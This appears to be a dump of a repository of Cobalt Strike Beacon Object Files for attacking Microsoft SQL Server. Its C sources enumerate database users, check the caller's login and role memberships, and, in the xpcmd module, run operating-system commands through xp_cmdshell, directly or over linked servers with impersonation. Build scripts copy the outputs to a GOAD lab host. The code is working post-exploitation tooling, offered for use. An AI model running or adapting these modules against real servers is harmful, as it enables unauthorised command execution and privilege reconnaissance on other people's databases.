ODBC32$SQLAllocHandle(SQL_HANDLE_STMT, dbc, &stmt); 42 | if (!SQL_SUCCEEDED(ret)) { 43 | internal_printf("[!] Failed to allocate statement handle\n"); 44 | goto END; 45 | } 46 | 47 | // 48 | // Construct query 49 | // 50 | char* prefix = "SELECT name AS username, create_date, " 51 | "modify_date, type_desc AS type, authentication_type_desc AS " 52 | "authentication_type FROM "; 53 | char* suffix = ".sys.database_principals WHERE type NOT " 54 | "IN ('A', 'R', 'X') AND sid IS NOT null ORDER BY username;"; 55 | 56 | 57 | size_t totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(database) + MSVCRT$strlen(suffix) + 1; 58 | query = (char*)intAlloc(totalSize * sizeof(char)); 59 | 60 | MSVCRT$strcpy(query, prefix); 61 | MSVCRT$strncat(query, database, totalSize - MSVCRT$strlen(query) - 1); 62 | MSVCRT$strncat(query, suffix, totalSize - MSVCRT$strlen(query) - 1); 63 | 64 | // 65 | // Run the query 66 | // 67 | if (!HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, FALSE)){ 68 | goto END; 69 | } 70 | 71 | PrintQueryResults(stmt, TRUE); 72 | 73 | END: 74 | if (query != NULL) intFree(query); 75 | ODBC32$SQLCloseCursor(stmt); 76 | DisconnectSqlServer(env, dbc, stmt); 77 | } 78 | 79 | 80 | #ifdef BOF 81 | VOID go( 82 | IN PCHAR Buffer, 83 | IN ULONG Length 84 | ) 85 | { 86 | char* server; 87 | char* database; 88 | char* link; 89 | char* impersonate; 90 | 91 | // 92 | // parse beacon args 93 | // 94 | datap parser; 95 | BeaconDataParse(&parser, Buffer, Length); 96 | 97 | server = BeaconDataExtract(&parser, NULL); 98 | database = BeaconDataExtract(&parser, NULL); 99 | link = BeaconDataExtract(&parser, NULL); 100 | impersonate = BeaconDataExtract(&parser, NULL); 101 | 102 | server = *server == 0 ? "localhost" : server; 103 | database = *database == 0 ? "master" : database; 104 | link = *link == 0 ? NULL : link; 105 | impersonate = *impersonate == 0 ? NULL : impersonate; 106 | 107 | if(!bofstart()) 108 | { 109 | return; 110 | } 111 | 112 | if (UsingLinkAndImpersonate(link, impersonate)) 113 | { 114 | return; 115 | } 116 | 117 | CheckUsers(server, database, link, impersonate); 118 | 119 | printoutput(TRUE); 120 | }; 121 | 122 | #else 123 | 124 | int main() 125 | { 126 | internal_printf("============ BASE TEST ============\n\n"); 127 | CheckUsers("castelblack.north.sevenkingdoms.local", "master", NULL, NULL); 128 | 129 | internal_printf("\n\n============ IMPERSONATE TEST ============\n\n"); 130 | CheckUsers("castelblack.north.sevenkingdoms.local", "master", NULL, "sa"); 131 | 132 | internal_printf("\n\n============ LINK TEST ============\n\n"); 133 | CheckUsers("castelblack.north.sevenkingdoms.local", "master", "BRAAVOS", NULL); 134 | } 135 | 136 | #endif 137 | -------------------------------------------------------------------------------- /src/SQL/whoami/Makefile: -------------------------------------------------------------------------------- 1 | BOFNAME := whoami 2 | COMINCLUDE := -I ../../common 3 | LIBINCLUDE := -lodbc32 4 | CC_x64 := x86_64-w64-mingw32-gcc 5 | CC_x86 := i686-w64-mingw32-gcc 6 | CC=x86_64-w64-mingw32-clang 7 | 8 | all: 9 | $(CC_x64) -o $(BOFNAME).x64.o $(COMINCLUDE) -Os -c entry.c -DBOF 10 | $(CC_x86) -o $(BOFNAME).x86.o $(COMINCLUDE) -Os -c entry.c -DBOF 11 | mkdir -p ../../../SQL/$(BOFNAME) 12 | mv $(BOFNAME)*.o ../../../SQL/$(BOFNAME) 13 | 14 | goad: 15 | $(MAKE) all 16 | scp ../../../SQL/$(BOFNAME)/* jon.snow@10.2.10.11:BOFs/ 17 | 18 | test: 19 | $(CC_x64) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x64.exe 20 | $(CC_x86) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x86.exe 21 | 22 | test_goad: 23 | $(MAKE) test 24 | scp $(BOFNAME)*.exe jon.snow@10.2.10.11:BOFs/ 25 | 26 | scanbuild: 27 | $(CC) entry.c -o $(BOFNAME).scanbuild.exe $(COMINCLUDE) $(LIBINCLUDE) 28 | 29 | check: 30 | cppcheck --enable=all $(COMINCLUDE) --platform=win64 entry.c 31 | 32 | clean: 33 | rm $(BOFNAME).*.exe -------------------------------------------------------------------------------- /src/SQL/whoami/entry.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "bofdefs.h" 3 | #include "base.c" 4 | #include "sql.c" 5 | 6 | void FreeResults(char** results) 7 | { 8 | for (int i = 0; results[i] != NULL; i++) 9 | { 10 | intFree(results[i]); 11 | } 12 | intFree(results); 13 | } 14 | 15 | void PrintMemberStatus(char* roleName, char* status) 16 | { 17 | if (status[0] == '0') { 18 | internal_printf(" |--> User is NOT a member of the %s role\n", roleName); 19 | } 20 | else { 21 | internal_printf(" |--> User is a member of the %s role\n", roleName); 22 | } 23 | } 24 | 25 | void Whoami(char* server, char* database, char* link, char* impersonate) 26 | { 27 | SQLHENV env = NULL; 28 | SQLHSTMT stmt = NULL; 29 | SQLHDBC dbc = NULL; 30 | char* sysUser = NULL; 31 | char* mappedUser = NULL; 32 | char** dbRoles = NULL; 33 | SQLRETURN ret; 34 | 35 | // 36 | // default server roles 37 | // 38 | char* roles[] = { 39 | "sysadmin", 40 | "setupadmin", 41 | "serveradmin", 42 | "securityadmin", 43 | "processadmin", 44 | "diskadmin", 45 | "dbcreator", 46 | "bulkadmin" 47 | }; 48 | 49 | if (link == NULL) 50 | { 51 | dbc = ConnectToSqlServer(&env, server, database); 52 | } 53 | else 54 | { 55 | dbc = ConnectToSqlServer(&env, server, NULL); 56 | } 57 | 58 | if (dbc == NULL) 59 | { 60 | goto END; 61 | } 62 | 63 | if (link == NULL) 64 | { 65 | internal_printf("[*] Determining user permissions on %s\n", server); 66 | } 67 | else 68 | { 69 | internal_printf("[*] Determining user permissions on %s via %s\n", link, server); 70 | } 71 | 72 | 73 | // 74 | // allocate statement handle 75 | // 76 | ret = ODBC32$SQLAllocHandle(SQL_HANDLE_STMT, dbc, &stmt); 77 | if (!SQL_SUCCEEDED(ret)) 78 | { 79 | internal_printf("[!] Failed to allocate statement handle\n"); 80 | goto END; 81 | } 82 | 83 | // 84 | // first query 85 | // 86 | SQLCHAR* query = (SQLCHAR*)"SELECT SYSTEM_USER;"; 87 | if (!HandleQuery(stmt, query, link, impersonate, FALSE)) 88 | { 89 | goto END; 90 | } 91 | sysUser = GetSingleResult(stmt, FALSE); 92 | internal_printf("[*] Logged in as %s\n", sysUser); 93 | 94 | // 95 | // close the cursor 96 | // 97 | ODBC32$SQLCloseCursor(stmt); 98 | 99 | // 100 | // second query 101 | // 102 | query = (SQLCHAR*)"SELECT USER_NAME();"; 103 | if (!HandleQuery(stmt, query, link, impersonate, FALSE)) 104 | { 105 | goto END; 106 | } 107 | mappedUser = GetSingleResult(stmt, FALSE); 108 | internal_printf("[*] Mapped to the user %s\n", mappedUser); 109 | 110 | // 111 | // close the cursor 112 | // 113 | ODBC32$SQLCloseCursor(stmt); 114 | 115 | // 116 | // third query 117 | // 118 | internal_printf("[*] Gathering roles...\n"); 119 | query = (SQLCHAR*)"SELECT [name] from sysusers where issqlrole = 1;"; 120 | if (!HandleQuery(stmt, query, link, impersonate, FALSE)) 121 | { 122 | goto END; 123 | } 124 | dbRoles = GetMultipleResults(stmt, FALSE); 125 | 126 | // 127 | // close the cursor 128 | // 129 | ODBC32$SQLCloseCursor(stmt); 130 | 131 | // 132 | // fourth query (loop) 133 | // 134 | for (int i = 0; dbRoles[i] != NULL; i++) 135 | { 136 | char* role = dbRoles[i]; 137 | char* query = (char*)intAlloc(MSVCRT$strlen(role) + 32); 138 | MSVCRT$sprintf(query, "SELECT IS_MEMBER('%s');", role); 139 | if (!HandleQuery(stmt, query, link, impersonate, FALSE)) 140 | { 141 | goto END; 142 | } 143 | 144 | char* result = GetSingleResult(stmt, FALSE); 145 | PrintMemberStatus(role, result); 146 | 147 | intFree(query); 148 | intFree(result); 149 | 150 | ret = ODBC32$SQLCloseCursor(stmt); 151 | if (!SQL_SUCCEEDED(ret)) 152 | { 153 | internal_printf("[!] Failed to close cursor\n"); 154 | goto END; 155 | } 156 | } 157 | 158 | // 159 | // fifth query (loop) 160 | // 161 | for (int i = 0; i < sizeof(roles) / sizeof(roles[0]); i++) 162 | { 163 | char* role = roles[i]; 164 | char* query = (char*)intAlloc(MSVCRT$strlen(role) + 32); 165 | MSVCRT$sprintf(query, "SELECT IS_SRVROLEMEMBER('%s');", role); 166 | if (!HandleQuery(stmt, query, link, impersonate, FALSE)) 167 | { 168 | goto END; 169 | } 170 | 171 | char* result = GetSingleResult(stmt, FALSE); 172 | PrintMemberStatus(role, result); 173 | 174 | intFree(query); 175 | intFree(result); 176 | 177 | ret = ODBC32$SQLCloseCursor(stmt); 178 | if (!SQL_SUCCEEDED(ret)) 179 | { 180 | internal_printf("[!] Failed to close cursor\n"); 181 | goto END; 182 | } 183 | } 184 | 185 | END: 186 | if (sysUser != NULL) intFree(sysUser); 187 | if (mappedUser != NULL) intFree(mappedUser); 188 | if (dbRoles != NULL) FreeResults(dbRoles); 189 | ODBC32$SQLCloseCursor(stmt); 190 | DisconnectSqlServer(env, dbc, stmt); 191 | } 192 | 193 | 194 | #ifdef BOF 195 | VOID go( 196 | IN PCHAR Buffer, 197 | IN ULONG Length 198 | ) 199 | { 200 | // 201 | // usage: whoami 202 | // 203 | char* server; 204 | char* database; 205 | char* link; 206 | char* impersonate; 207 | 208 | // 209 | // parse beacon args 210 | // 211 | datap parser; 212 | BeaconDataParse(&parser, Buffer, Length); 213 | 214 | server = BeaconDataExtract(&parser, NULL); 215 | database = BeaconDataExtract(&parser, NULL); 216 | link = BeaconDataExtract(&parser, NULL); 217 | impersonate = BeaconDataExtract(&parser, NULL); 218 | 219 | server = *server == 0 ? "localhost" : server; 220 | database = *database == 0 ? "master" : database; 221 | link = *link == 0 ? NULL : link; 222 | impersonate = *impersonate == 0 ? NULL : impersonate; 223 | 224 | if(!bofstart()) 225 | { 226 | return; 227 | } 228 | 229 | if (UsingLinkAndImpersonate(link, impersonate)) 230 | { 231 | return; 232 | } 233 | 234 | Whoami(server, database, link, impersonate); 235 | 236 | printoutput(TRUE); 237 | }; 238 | 239 | #else 240 | 241 | int main() 242 | { 243 | internal_printf("============ BASE TEST ============\n\n"); 244 | Whoami("castelblack.north.sevenkingdoms.local", "master", NULL, NULL); 245 | 246 | internal_printf("\n============ IMPERSONATE TEST ============\n\n"); 247 | Whoami("castelblack.north.sevenkingdoms.local", "master", NULL, "sa"); 248 | 249 | internal_printf("\n============ LINK TEST ====\n\n"); 250 | Whoami("castelblack.north.sevenkingdoms.local", "master", "BRAAVOS", NULL); 251 | } 252 | 253 | #endif 254 | -------------------------------------------------------------------------------- /src/SQL/xpcmd/Makefile: -------------------------------------------------------------------------------- 1 | BOFNAME := xpcmd 2 | COMINCLUDE := -I ../../common 3 | LIBINCLUDE := -lodbc32 4 | CC_x64 := x86_64-w64-mingw32-gcc 5 | CC_x86 := i686-w64-mingw32-gcc 6 | CC=x86_64-w64-mingw32-clang 7 | 8 | all: 9 | $(CC_x64) -o $(BOFNAME).x64.o $(COMINCLUDE) -Os -c entry.c -DBOF 10 | $(CC_x86) -o $(BOFNAME).x86.o $(COMINCLUDE) -Os -c entry.c -DBOF 11 | mkdir -p ../../../SQL/$(BOFNAME) 12 | mv $(BOFNAME)*.o ../../../SQL/$(BOFNAME) 13 | 14 | goad: 15 | $(MAKE) all 16 | scp ../../../SQL/$(BOFNAME)/* jon.snow@10.2.10.11:BOFs/ 17 | 18 | test: 19 | $(CC_x64) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x64.exe 20 | $(CC_x86) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x86.exe 21 | 22 | test_goad: 23 | $(MAKE) test 24 | scp $(BOFNAME)*.exe jon.snow@10.2.10.11:BOFs/ 25 | 26 | scanbuild: 27 | $(CC) entry.c -o $(BOFNAME).scanbuild.exe $(COMINCLUDE) $(LIBINCLUDE) 28 | 29 | check: 30 | cppcheck --enable=all $(COMINCLUDE) --platform=win64 entry.c 31 | 32 | clean: 33 | rm $(BOFNAME).*.exe -------------------------------------------------------------------------------- /src/SQL/xpcmd/entry.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "bofdefs.h" 3 | #include "base.c" 4 | #include "sql.c" 5 | #include "sql_modules.c" 6 | 7 | 8 | void ExecuteXpCmd(char* server, char* database, char* link, char* impersonate, char* command) 9 | { 10 | SQLHENV env = NULL; 11 | SQLHSTMT stmt = NULL; 12 | SQLHDBC dbc = NULL; 13 | char* query = NULL; 14 | size_t totalSize; 15 | SQLRETURN ret; 16 | unsigned int timeout = 10; 17 | 18 | 19 | if (link == NULL) 20 | { 21 | dbc = ConnectToSqlServer(&env, server, database); 22 | } 23 | else 24 | { 25 | dbc = ConnectToSqlServer(&env, server, NULL); 26 | } 27 | 28 | if (dbc == NULL) { 29 | goto END; 30 | } 31 | 32 | // 33 | // allocate statement handle 34 | // 35 | ret = ODBC32$SQLAllocHandle(SQL_HANDLE_STMT, dbc, &stmt); 36 | if (!SQL_SUCCEEDED(ret)) { 37 | internal_printf("[!] Failed to allocate statement handle\n"); 38 | goto END; 39 | } 40 | 41 | // 42 | // verify that xp_cmdshell is enabled 43 | // 44 | if (IsModuleEnabled(stmt, "xp_cmdshell", link, impersonate)) 45 | { 46 | internal_printf("[*] xp_cmdshell is enabled\n"); 47 | } 48 | else 49 | { 50 | internal_printf("[!] xp_cmdshell is not enabled\n"); 51 | goto END; 52 | } 53 | 54 | // 55 | // close the cursor 56 | // 57 | ret = ODBC32$SQLCloseCursor(stmt); 58 | if (!SQL_SUCCEEDED(ret)) { 59 | internal_printf("[!] Failed to close cursor\n"); 60 | goto END; 61 | } 62 | 63 | // 64 | // if using linked server, ensure rpc is enabled 65 | // 66 | if (link != NULL) 67 | { 68 | if (IsRpcEnabled(stmt, link)) 69 | { 70 | internal_printf("[*] RPC out is enabled\n"); 71 | } 72 | else 73 | { 74 | internal_printf("[!] RPC out is not enabled\n"); 75 | goto END; 76 | } 77 | 78 | // 79 | // close the cursor 80 | // 81 | ODBC32$SQLCloseCursor(stmt); 82 | } 83 | 84 | // 85 | // don't want to hang beacons forever, so we'll try to set a timeout 86 | // 87 | ret = ODBC32$SQLSetStmtAttr(stmt, SQL_ATTR_QUERY_TIMEOUT, (SQLPOINTER)(uintptr_t)timeout, 0); 88 | if (!SQL_SUCCEEDED(ret)) { 89 | internal_printf("[!] Failed to set query timeout\n"); 90 | goto END; 91 | } 92 | 93 | internal_printf("[*] Executing system command...\n\n"); 94 | 95 | if (link == NULL) 96 | { 97 | char* prefix = "EXEC xp_cmdshell '"; 98 | char* suffix = "';"; 99 | 100 | totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(command) + MSVCRT$strlen(suffix) + 1; 101 | query = (char*)intAlloc(totalSize * sizeof(char)); 102 | 103 | MSVCRT$strcpy(query, prefix); 104 | MSVCRT$strncat(query, command, totalSize - MSVCRT$strlen(query) - 1); 105 | MSVCRT$strncat(query, suffix, totalSize - MSVCRT$strlen(query) - 1); 106 | 107 | // 108 | // In case we're taking a hanging action, print current output 109 | // 110 | printoutput(FALSE); 111 | 112 | // 113 | // Run the query 114 | // 115 | if (!HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, FALSE)){ 116 | goto END; 117 | } 118 | 119 | PrintQueryResults(stmt, TRUE); 120 | } 121 | else 122 | { 123 | char* prefix = "SELECT 1; EXEC master..xp_cmdshell '"; 124 | char* suffix = "';"; 125 | 126 | totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(command) + MSVCRT$strlen(suffix) + 1; 127 | query = (char*)intAlloc(totalSize * sizeof(char)); 128 | 129 | MSVCRT$strcpy(query, prefix); 130 | MSVCRT$strncat(query, command, totalSize - MSVCRT$strlen(query) - 1); 131 | MSVCRT$strncat(query, suffix, totalSize - MSVCRT$strlen(query) - 1); 132 | 133 | // 134 | // In case we're taking a hanging action, print current output 135 | // 136 | printoutput(FALSE); 137 | 138 | // 139 | // Run the query 140 | // 141 | if (!HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, TRUE)){ 142 | goto END; 143 | } 144 | 145 | internal_printf("[*] Command executed (Output not returned for linked server cmd execution)\n"); 146 | } 147 | 148 | 149 | 150 | END: 151 | if (query != NULL) intFree(query); 152 | ODBC32$SQLCloseCursor(stmt); 153 | DisconnectSqlServer(env, dbc, stmt); 154 | } 155 | 156 | 157 | #ifdef BOF 158 | VOID go( 159 | IN PCHAR Buffer, 160 | IN ULONG Length 161 | ) 162 | { 163 | char* server; 164 | char* database; 165 | char* link; 166 | char* impersonate; 167 | char* command; 168 | 169 | // 170 | // parse beacon args 171 | // 172 | datap parser; 173 | BeaconDataParse(&parser, Buffer, Length); 174 | 175 | server = BeaconDataExtract(&parser, NULL); 176 | database = BeaconDataExtract(&parser, NULL); 177 | link = BeaconDataExtract(&parser, NULL); 178 | impersonate = BeaconDataExtract(&parser, NULL); 179 | command = BeaconDataExtract(&parser, NULL); 180 | 181 | server = *server == 0 ? "localhost" : server; 182 | database = *database == 0 ? "master" : database; 183 | link = *link == 0 ? NULL : link; 184 | impersonate = *impersonate == 0 ? NULL : impersonate; 185 | 186 | if(!bofstart()) 187 | { 188 | return; 189 | } 190 | 191 | if (UsingLinkAndImpersonate(link, impersonate)) 192 | { 193 | return; 194 | } 195 | 196 | ExecuteXpCmd(server, database, link, impersonate, command); 197 | 198 | printoutput(TRUE); 199 | }; 200 | 201 | #else 202 | 203 | int main() 204 | { 205 | internal_printf("============ BASE TEST ============\n\n"); 206 | ExecuteXpCmd("castelblack.north.sevenkingdoms.local", "master", NULL, NULL, "whoami /user"); 207 | 208 | internal_printf("\n\n============ IMPERSONATE TEST ============\n\n"); 209 | ExecuteXpCmd("castelblack.north.sevenkingdoms.local", "master", NULL, "sa", "whoami /user"); 210 | 211 | internal_printf("\n\n============ LINK TEST ============\n\n"); 212 | ExecuteXpCmd("castelblack.north.sevenkingdoms.local", "master", "BRAAVOS", NULL, "whoami /user"); 213 | } 214 | 215 | #endif 216 | -------------------------------------------------------------------------------- /src/base_template/Makefile: -------------------------------------------------------------------------------- 1 | BOFNAME := YOUNAMEHERE 2 | COMINCLUDE := -I ../../common 3 | LIBINCLUDE := -lodbc32 4 | CC_x64 := x86_64-w64-mingw32-gcc 5 | CC_x86 := i686-w64-mingw32-gcc 6 | CC=x86_64-w64-mingw32-clang 7 | 8 | all: 9 | $(CC_x64) -o $(BOFNAME).x64.o $(COMINCLUDE) -Os -c entry.c -DBOF 10 | $(CC_x86) -o $(BOFNAME).x86.o $(COMINCLUDE) -Os -c entry.c -DBOF 11 | mkdir -p ../../../SQL/$(BOFNAME) 12 | mv $(BOFNAME)*.o ../../../SQL/$(BOFNAME) 13 | 14 | goad: 15 | $(MAKE) all 16 | scp ../../../SQL/$(BOFNAME)/* jon.snow@10.2.10.11:BOFs/ 17 | 18 | test: 19 | $(CC_x64) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x64.exe 20 | $(CC_x86) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x86.exe 21 | 22 | test_goad: 23 | $(MAKE) test 24 | scp $(BOFNAME)*.exe jon.snow@10.2.10.11:BOFs/ 25 | 26 | scanbuild: 27 | $(CC) entry.c -o $(BOFNAME).scanbuild.exe $(COMINCLUDE) $(LIBINCLUDE) 28 | 29 | check: 30 | cppcheck --enable=all $(COMINCLUDE) --platform=win64 entry.c 31 | 32 | clean: 33 | rm $(BOFNAME).*.exe -------------------------------------------------------------------------------- /src/base_template/entry.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "bofdefs.h" 3 | #include "base.c" 4 | 5 | #ifdef BOF 6 | VOID go( 7 | IN PCHAR Buffer, 8 | IN ULONG Length 9 | ) 10 | { 11 | if(!bofstart()) 12 | { 13 | return; 14 | } 15 | //CALLYOURFUNCHERE 16 | printoutput(TRUE); 17 | }; 18 | 19 | #else 20 | 21 | int main() 22 | { 23 | //code for standalone exe for scanbuild / leak checks 24 | } 25 | 26 | #endif 27 | -------------------------------------------------------------------------------- /src/common/base.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "bofdefs.h" 3 | #include "beacon.h" 4 | #include "time.h" 5 | #ifndef bufsize 6 | #define bufsize 8192 7 | #endif 8 | 9 | 10 | char * output __attribute__((section (".data"))) = 0; // this is just done so its we don't go into .bss which isn't handled properly 11 | WORD currentoutsize __attribute__((section (".data"))) = 0; 12 | HANDLE trash __attribute__((section (".data"))) = NULL; // Needed for x64 to not give relocation error 13 | 14 | #ifdef BOF 15 | int bofstart(); 16 | void internal_printf(const char* format, ...); 17 | void printoutput(BOOL done); 18 | #endif 19 | char * Utf16ToUtf8(const wchar_t* input); 20 | #ifdef BOF 21 | int bofstart() 22 | { 23 | output = (char*)MSVCRT$calloc(bufsize, 1); 24 | currentoutsize = 0; 25 | return 1; 26 | } 27 | 28 | void internal_printf(const char* format, ...){ 29 | int buffersize = 0; 30 | int transfersize = 0; 31 | char * curloc = NULL; 32 | char* intBuffer = NULL; 33 | va_list args; 34 | va_start(args, format); 35 | buffersize = MSVCRT$vsnprintf(NULL, 0, format, args); // +1 because vsprintf goes to buffersize-1 , and buffersize won't return with the null 36 | va_end(args); 37 | 38 | // vsnprintf will return -1 on encoding failure (ex. non latin characters in Wide string) 39 | if (buffersize == -1) 40 | return; 41 | 42 | char* transferBuffer = (char*)intAlloc(bufsize); 43 | intBuffer = (char*)intAlloc(buffersize); 44 | /*Print string to memory buffer*/ 45 | va_start(args, format); 46 | MSVCRT$vsnprintf(intBuffer, buffersize, format, args); // tmpBuffer2 has a null terminated string 47 | va_end(args); 48 | if(buffersize + currentoutsize < bufsize) // If this print doesn't overflow our output buffer, just buffer it to the end 49 | { 50 | //BeaconFormatPrintf(&output, intBuffer); 51 | memcpy(output+currentoutsize, intBuffer, buffersize); 52 | currentoutsize += buffersize; 53 | } 54 | else // If this print does overflow our output buffer, lets print what we have and clear any thing else as it is likely this is a large print 55 | { 56 | curloc = intBuffer; 57 | while(buffersize > 0) 58 | { 59 | transfersize = bufsize - currentoutsize; // what is the max we could transfer this request 60 | if(buffersize < transfersize) //if I have less then that, lets just transfer what's left 61 | { 62 | transfersize = buffersize; 63 | } 64 | memcpy(output+currentoutsize, curloc, transfersize); // copy data into our transfer buffer 65 | currentoutsize += transfersize; 66 | //BeaconFormatPrintf(&output, transferBuffer); // copy it to cobalt strikes output buffer 67 | if(currentoutsize == bufsize) 68 | { 69 | printoutput(FALSE); // sets currentoutsize to 0 and prints 70 | } 71 | memset(transferBuffer, 0, transfersize); // reset our transfer buffer 72 | curloc += transfersize; // increment by how much data we just wrote 73 | buffersize -= transfersize; // subtract how much we just wrote from how much we are writing overall 74 | } 75 | } 76 | intFree(intBuffer); 77 | intFree(transferBuffer); 78 | } 79 | 80 | void printoutput(BOOL done) 81 | { 82 | 83 | char * msg = NULL; 84 | BeaconOutput(CALLBACK_OUTPUT, output, currentoutsize); 85 | currentoutsize = 0; 86 | memset(output, 0, bufsize); 87 | if(done) {MSVCRT$free(output); output=NULL;} 88 | } 89 | #else 90 | #define internal_printf printf 91 | #define printoutput 92 | #define bofstart 93 | #endif 94 | 95 | // Changes to address issue #65. 96 | // We can't use more dynamic resolve functions in this file, which means a call to HeapRealloc is unacceptable. 97 | // To that end if you're going to use this function, declare how many libraries you'll be loading out of, multiple functions out of 1 library count as one 98 | // Normallize your library name to uppercase, yes I could do it, yes I'm also lazy and putting that on the developer. 99 | // Finally I'm going to assume actual string constants are passed in, which is to say don't pass in something to this you plan to free yourself 100 | // If you must then free it after bofstop is called 101 | #ifdef DYNAMIC_LIB_COUNT 102 | 103 | 104 | typedef struct loadedLibrary { 105 | HMODULE hMod; // mod handle 106 | const char * name; // name normalized to uppercase 107 | }loadedLibrary, *ploadedLibrary; 108 | loadedLibrary loadedLibraries[DYNAMIC_LIB_COUNT] __attribute__((section (".data"))) = {0}; 109 | DWORD loadedLibrariesCount __attribute__((section (".data"))) = 0; 110 | 111 | BOOL intstrcmp(LPCSTR szLibrary, LPCSTR sztarget) 112 | { 113 | BOOL bmatch = FALSE; 114 | DWORD pos = 0; 115 | while(szLibrary[pos] && sztarget[pos]) 116 | { 117 | if(szLibrary[pos] != sztarget[pos]) 118 | { 119 | goto end; 120 | } 121 | pos++; 122 | } 123 | if(szLibrary[pos] | sztarget[pos]) // if either of these down't equal null then they can't match 124 | {goto end;} 125 | bmatch = TRUE; 126 | 127 | end: 128 | return bmatch; 129 | } 130 | 131 | //GetProcAddress, LoadLibraryA, GetModuleHandle, and FreeLibrary are gimmie functions 132 | // 133 | // DynamicLoad 134 | // Retrieves a function pointer given the BOF library-function name 135 | // szLibrary - The library containing the function you want to load 136 | // szFunction - The Function that you want to load 137 | // Returns a FARPROC function pointer if successful, or NULL if lookup fails 138 | // 139 | FARPROC DynamicLoad(const char * szLibrary, const char * szFunction) 140 | { 141 | FARPROC fp = NULL; 142 | HMODULE hMod = NULL; 143 | DWORD i = 0; 144 | DWORD liblen = 0; 145 | for(i = 0; i < loadedLibrariesCount; i++) 146 | { 147 | if(intstrcmp(szLibrary, loadedLibraries[i].name)) 148 | { 149 | hMod = loadedLibraries[i].hMod; 150 | } 151 | } 152 | if(!hMod) 153 | { 154 | hMod = LoadLibraryA(szLibrary); 155 | if(!hMod){ 156 | BeaconPrintf(CALLBACK_ERROR, "*** DynamicLoad(%s) FAILED!\nCould not find library to load.", szLibrary); 157 | return NULL; 158 | } 159 | loadedLibraries[loadedLibrariesCount].hMod = hMod; 160 | loadedLibraries[loadedLibrariesCount].name = szLibrary; //And this is why this HAS to be a constant or not freed before bofstop 161 | loadedLibrariesCount++; 162 | } 163 | fp = GetProcAddress(hMod, szFunction); 164 | 165 | if (NULL == fp) 166 | { 167 | BeaconPrintf(CALLBACK_ERROR, "*** DynamicLoad(%s) FAILED!\n", szFunction); 168 | } 169 | return fp; 170 | } 171 | #endif 172 | 173 | 174 | char* Utf16ToUtf8(const wchar_t* input) 175 | { 176 | int ret = Kernel32$WideCharToMultiByte( 177 | CP_UTF8, 178 | 0, 179 | input, 180 | -1, 181 | NULL, 182 | 0, 183 | NULL, 184 | NULL 185 | ); 186 | 187 | char* newString = (char*)intAlloc(sizeof(char) * ret); 188 | 189 | ret = Kernel32$WideCharToMultiByte( 190 | CP_UTF8, 191 | 0, 192 | input, 193 | -1, 194 | newString, 195 | sizeof(char) * ret, 196 | NULL, 197 | NULL 198 | ); 199 | 200 | if (0 == ret) 201 | { 202 | goto fail; 203 | } 204 | 205 | retloc: 206 | return newString; 207 | /*location to free everything centrally*/ 208 | fail: 209 | if (newString){ 210 | intFree(newString); 211 | newString = NULL; 212 | }; 213 | goto retloc; 214 | } 215 | 216 | //release any global functions here 217 | void bofstop() 218 | { 219 | #ifdef DYNAMIC_LIB_COUNT 220 | DWORD i; 221 | for(i = 0; i < loadedLibrariesCount; i++) 222 | { 223 | FreeLibrary(loadedLibraries[i].hMod); 224 | } 225 | #endif 226 | return; 227 | } 228 | 229 | void InitRandomSeed() 230 | { 231 | MSVCRT$srand((unsigned int)MSVCRT$time(NULL)); 232 | } 233 | 234 | // 235 | // Helper func to generate random strings for prodecure names, etc 236 | // 237 | char* GenerateRandomString(int length) 238 | { 239 | char* result = (char*)intAlloc(length + 1); 240 | for (int i = 0; i < length; i++) 241 | { 242 | result[i] = (char)(MSVCRT$rand() % 26 + 97); 243 | } 244 | result[length] = '\0'; 245 | return result; 246 | } -------------------------------------------------------------------------------- /src/common/beacon.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Beacon Object Files (BOF) 3 | * ------------------------- 4 | * A Beacon Object File is a light-weight post exploitation tool that runs 5 | * with Beacon's inline-execute command. 6 | * 7 | * Cobalt Strike 4.1. 8 | */ 9 | 10 | /* data API */ 11 | #pragma once 12 | 13 | #ifdef BOF 14 | typedef struct { 15 | char * original; /* the original buffer [so we can free it] */ 16 | char * buffer; /* current pointer into our buffer */ 17 | int length; /* remaining length of data */ 18 | int size; /* total size of this buffer */ 19 | } datap; 20 | 21 | DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size); 22 | DECLSPEC_IMPORT int BeaconDataInt(datap * parser); 23 | DECLSPEC_IMPORT short BeaconDataShort(datap * parser); 24 | DECLSPEC_IMPORT int BeaconDataLength(datap * parser); 25 | DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size); 26 | 27 | /* format API */ 28 | typedef struct { 29 | char * original; /* the original buffer [so we can free it] */ 30 | char * buffer; /* current pointer into our buffer */ 31 | int length; /* remaining length of data */ 32 | int size; /* total size of this buffer */ 33 | } formatp; 34 | 35 | DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz); 36 | DECLSPEC_IMPORT void BeaconFormatReset(formatp * format); 37 | DECLSPEC_IMPORT void BeaconFormatFree(formatp * format); 38 | DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len); 39 | DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...); 40 | DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size); 41 | DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value); 42 | 43 | /* Output Functions */ 44 | #define CALLBACK_OUTPUT 0x0 45 | #define CALLBACK_OUTPUT_OEM 0x1e 46 | #define CALLBACK_ERROR 0x0d 47 | #define CALLBACK_OUTPUT_UTF8 0x20 48 | 49 